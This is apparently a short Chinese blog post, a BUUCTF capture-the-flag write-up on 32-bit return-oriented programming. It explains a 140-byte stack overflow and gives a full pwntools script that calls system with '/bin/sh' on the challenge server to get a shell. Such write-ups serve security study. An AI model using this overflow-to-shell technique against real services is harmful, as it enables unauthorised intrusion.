文章目录

32 位 ROP

由 雾島风起時 发布

32 位 ROP

话不多说,直接上题(BUUCTF)

32位 IDA 反编译

啊哈,一眼存在栈溢出

查看内存需 140 个字节覆盖

Shift + F12 查看字符串,有可利用函数与字符串,构造 ROP

在 plt 表中拿到 system 地址

32 位中调用 system 函数时需要传入一个将来的返回地址,这个返回地址随意,但必须要有,返回地址后面则是参数

from pwn import *

p = remote('node5.buuoj.cn',29920)

binsh = 0x0804a024
system = 0x08048320

p.recvuntil('Input:\n')

payload = b'a' * 140 + p32(system) + p32(0) + p32(binsh)

p.sendline(payload)
p.interactive()

成功拿到 flag


0条评论

发表评论